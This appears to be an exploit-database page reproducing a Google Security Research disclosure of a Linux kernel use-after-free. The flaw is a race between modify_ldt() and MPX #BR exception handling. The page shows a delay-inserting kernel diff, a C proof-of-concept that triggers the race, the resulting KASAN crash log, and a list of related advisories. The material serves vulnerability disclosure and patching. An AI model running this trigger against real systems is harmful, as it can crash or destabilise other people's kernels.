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"Linux - Use-After-Free via race Between modify_ldt() and #BR Exception"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

linux

Release date

Exploit published date

2019-06-20

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/*
When a #BR exception is raised because of an MPX bounds violation, Linux parses
the faulting instruction and computes the linear address of its memory operand.
If the userspace instruction is in 32-bit code, this involves looking up the
correct segment descriptor and adding the segment offset to the address.

(Another codepath that computes the linear address of an instruction is UMIP,
but I think that requires processors >= Cannon Lake, and my PC isn't that new.)

get_desc() locks the mm context, computes the pointer to the LDT entry, but then
drops the lock again and returns the pointer. This means that when the caller
actually accesses the pointer, the pointer may have been freed already.

This bug was introduced in
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=670f928ba09b>
("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15).


To make this easier to hit, I patched a sleep into my kernel:


================
diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c
index cf00ab6c66210..5d9c59a28c76f 100644
--- a/arch/x86/lib/insn-eval.c
+++ b/arch/x86/lib/insn-eval.c
@@ -7,6 +7,7 @@
 #include <linux/string.h>
 #include <linux/ratelimit.h>
 #include <linux/mmu_context.h>
+#include <linux/delay.h>
 #include <asm/desc_defs.h>
 #include <asm/desc.h>
 #include <asm/inat.h>
@@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx)
        if (!desc)
                return -1L;
 
+       mdelay(1000);
+
        return get_desc_base(desc);
 }
================

I also built the kernel with KASAN and full preemption.


Then I ran the following test program, compiled with
"gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread":

===============
*/

#define _GNU_SOURCE
#include <ucontext.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/prctl.h>
#include <err.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <pthread.h>

unsigned long blah;

void post_bounds_label(void);

static void do_ldt(void) {
  struct user_desc desc = {
    .entry_number = 0,
    .base_addr = (unsigned long)&blah,
    .limit = 0xffffffff,
    .seg_32bit = 1,
    .contents = 0,
    .useable = 1
  };
  if (syscall(__NR_modify_ldt, 0x11, &desc, sizeof(desc)))
    err(1, "modify_ldt");
}

void *ldt_thread(void *dummy) {
  while (1) do_ldt();
}

jmp_buf jumpy;
void handle_segv(int sig, siginfo_t *info, void *uctx_) {
  if (info->si_addr != &blah) {
    printf("addr=%p\n", info->si_addr);
  }
  ucontext_t *uctx = uctx_;
  uctx->uc_mcontext.gregs[REG_EIP] = (unsigned long)post_bounds_label;
}

int main(void) {
  do_ldt();
  pthread_t thread;
  if (pthread_create(&thread, NULL, ldt_thread, NULL)) err(1, "pthread create");

  struct sigaction act = {
    .sa_sigaction = handle_segv,
    .sa_flags = SA_NODEFER|SA_SIGINFO
  };
  if (sigaction(SIGSEGV, &act, NULL)) err(1, "sigaction");

  while (1) {
    unsigned long mpx_bounds[2] = { 5, 6 };
    unsigned long old_bounds[2];
    asm volatile(
      "bndmov %%bnd0, (%0)\n"
      "bndmov (%2), %%bnd0\n"
      "mov %1, %%fs\n"
      "bndcl %%fs:(%3), %%bnd0\n"
      "bndcn %%fs:(%3), %%bnd0\n"
      "post_bounds_label:\n"
      "bndmov (%0), %%bnd0\n"
    : /*out*/
    : /*in*/
      "r"(old_bounds),
      "r"(0x7),
      "r"(mpx_bounds),
      "r"(0x0UL)
    );
  }
}
/*
jannh@laptop:~/mpx$ 
===============

The program started printing various hex numbers, and I immediately got this
KASAN splat:

===============
[ 3129.003397] ==================================================================
[ 3129.003411] BUG: KASAN: use-after-free in insn_get_seg_base+0x9a/0x110
[ 3129.003416] Read of size 2 at addr ffff8883775da002 by task mpx/13947

[ 3129.003425] CPU: 1 PID: 13947 Comm: mpx Not tainted 5.2.0-rc2+ #10
[ 3129.003427] Hardware name: [...]
[ 3129.003429] Call Trace:
[ 3129.003436]  dump_stack+0x71/0xab
[ 3129.003441]  ? insn_get_seg_base+0x9a/0x110
[ 3129.003446]  print_address_description+0x6a/0x250
[ 3129.003450]  ? insn_get_seg_base+0x9a/0x110
[ 3129.003454]  ? insn_get_seg_base+0x9a/0x110
[ 3129.003458]  __kasan_report+0x14e/0x192
[ 3129.003463]  ? insn_get_seg_base+0x9a/0x110
[ 3129.003467]  kasan_report+0xe/0x20
[ 3129.003471]  insn_get_seg_base+0x9a/0x110
[ 3129.003476]  get_seg_base_limit+0x181/0x4a0
[ 3129.003482]  insn_get_addr_ref+0x18f/0x490
[ 3129.003486]  ? insn_get_opcode.part.4+0x16d/0x350
[ 3129.003490]  ? insn_get_modrm_rm_off+0x60/0x60
[ 3129.003496]  ? insn_get_modrm.part.5+0xce/0x220
[ 3129.003501]  ? insn_get_sib.part.6+0x60/0xc0
[ 3129.003505]  ? insn_get_displacement.part.7+0xe3/0x1d0
[ 3129.003509]  ? insn_get_immediate.part.8+0x52/0x710
[ 3129.003514]  ? preempt_count_sub+0x14/0xc0
[ 3129.003517]  ? preempt_count_sub+0x14/0xc0
[ 3129.003523]  mpx_fault_info+0x1bc/0x2d0
[ 3129.003528]  ? trace_event_raw_event_bounds_exception_mpx+0x170/0x170
[ 3129.003535]  ? notify_die+0x7d/0xc0
[ 3129.003539]  ? atomic_notifier_call_chain+0x40/0x40
[ 3129.003543]  ? __ia32_sys_rt_sigaction+0x1c0/0x1c0
[ 3129.003547]  ? preempt_count_sub+0x14/0xc0
[ 3129.003550]  ? preempt_count_sub+0x14/0xc0
[ 3129.003556]  do_bounds+0x24d/0x350
[ 3129.003560]  ? do_double_fault+0x160/0x160
[ 3129.003565]  ? fpregs_assert_state_consistent+0x54/0x70
[ 3129.003570]  ? bounds+0xa/0x20
[ 3129.003574]  bounds+0x14/0x20
[ 3129.003578] RIP: 0023:0x565e98e7
[ 3129.003583] Code: c7 85 64 ff ff ff 06 00 00 00 8d 85 58 ff ff ff b9 07 00 00 00 8d 95 60 ff ff ff bb 00 00 00 00 66 0f 1b 00 66 0f 1a 02 8e e1 <64> f3 0f 1a 03 64 f2 0f 1b 03 66 0f 1a 00 f2 e9 7c ff ff ff 55 89
[ 3129.003585] RSP: 002b:00000000ffdca1f0 EFLAGS: 00010286
[ 3129.003588] RAX: 00000000ffdca230 RBX: 0000000000000000 RCX: 0000000000000007
[ 3129.003591] RDX: 00000000ffdca238 RSI: 0000000000000001 RDI: 00000000ffdca2cc
[ 3129.003593] RBP: 00000000ffdca2d8 R08: 0000000000000000 R09: 0000000000000000
[ 3129.003595] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000000
[ 3129.003597] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000

[ 3129.003606] Allocated by task 13948:
[ 3129.003611]  save_stack+0x19/0x80
[ 3129.003615]  __kasan_kmalloc.constprop.8+0xa0/0xd0
[ 3129.003618]  kmem_cache_alloc_trace+0xcc/0x5d0
[ 3129.003622]  alloc_ldt_struct+0x39/0xc0
[ 3129.003625]  write_ldt+0x236/0x5d0
[ 3129.003628]  __ia32_sys_modify_ldt+0x50/0xc0
[ 3129.003632]  do_fast_syscall_32+0x112/0x390
[ 3129.003635]  entry_SYSENTER_compat+0x7f/0x91

[ 3129.003639] Freed by task 13948:
[ 3129.003644]  save_stack+0x19/0x80
[ 3129.003647]  __kasan_slab_free+0x105/0x150
[ 3129.003650]  kfree+0x82/0x120
[ 3129.003653]  write_ldt+0x519/0x5d0
[ 3129.003656]  __ia32_sys_modify_ldt+0x50/0xc0
[ 3129.003659]  do_fast_syscall_32+0x112/0x390
[ 3129.003664]  entry_SYSENTER_compat+0x7f/0x91

[ 3129.003669] The buggy address belongs to the object at ffff8883775da000
                which belongs to the cache kmalloc-32 of size 32
[ 3129.003674] The buggy address is located 2 bytes inside of
                32-byte region [ffff8883775da000, ffff8883775da020)
[ 3129.003677] The buggy address belongs to the page:
[ 3129.003683] page:ffffea000ddd7680 refcount:1 mapcount:0 mapping:ffff8883d0c00180 index:0xffff8883775dafc1
[ 3129.003686] flags: 0x17fffc000000200(slab)
[ 3129.003692] raw: 017fffc000000200 ffffea000f0692c8 ffffea000d4bb988 ffff8883d0c00180
[ 3129.003696] raw: ffff8883775dafc1 ffff8883775da000 000000010000003f 0000000000000000
[ 3129.003698] page dumped because: kasan: bad access detected

[ 3129.003701] Memory state around the buggy address:
[ 3129.003706]  ffff8883775d9f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 3129.003711]  ffff8883775d9f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 3129.003715] >ffff8883775da000: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc
[ 3129.003718]                    ^
[ 3129.003723]  ffff8883775da080: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc
[ 3129.003727]  ffff8883775da100: fb fb fb fb fc fc fc fc fb fb fb fb fc fc fc fc
[ 3129.003730] ==================================================================
[ 3129.003733] Disabling lock debugging due to kernel taint
===============

I'll send a suggested patch ("[PATCH] x86/insn-eval: Fix use-after-free access to LDT entry") in a minute.
*/
Release DateTitleTypePlatformAuthor
2020-02-10"iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()"dosmultiple"Google Security Research"
2020-02-10"usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init"doslinux"Google Security Research"
2020-01-28"macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image"dosmultiple"Google Security Research"
2020-01-14"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"dosandroid"Google Security Research"
2020-01-14"WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM"dosandroid"Google Security Research"
2019-12-18"macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()"dosmacos"Google Security Research"
2019-12-16"Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds"locallinux"Google Security Research"
2019-12-11"Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font"doswindows"Google Security Research"
2019-11-22"Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback"doswindows"Google Security Research"
2019-11-22"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache"localmacos"Google Security Research"
2019-11-20"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs"doslinux"Google Security Research"
2019-11-20"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd"dosios"Google Security Research"
2019-11-20"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path"doslinux"Google Security Research"
2019-11-11"iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address"dosmultiple"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream"doswindows"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)"doswindows"Google Security Research"
2019-11-05"macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()"dosmacos"Google Security Research"
2019-11-05"WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive"dosmultiple"Google Security Research"
2019-11-05"JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects"dosmultiple"Google Security Research"
2019-10-30"JavaScriptCore - GetterSetter Type Confusion During DFG Compilation"dosmultiple"Google Security Research"
2019-10-28"WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed"dosmultiple"Google Security Research"
2019-10-21"Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter"doswindows"Google Security Research"
2019-10-10"Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-09"XNU - Remote Double-Free via Data Race in IPComp Input Path"dosmacos"Google Security Research"
2019-10-04"Android - Binder Driver Use-After-Free"localandroid"Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47015/?format=json')

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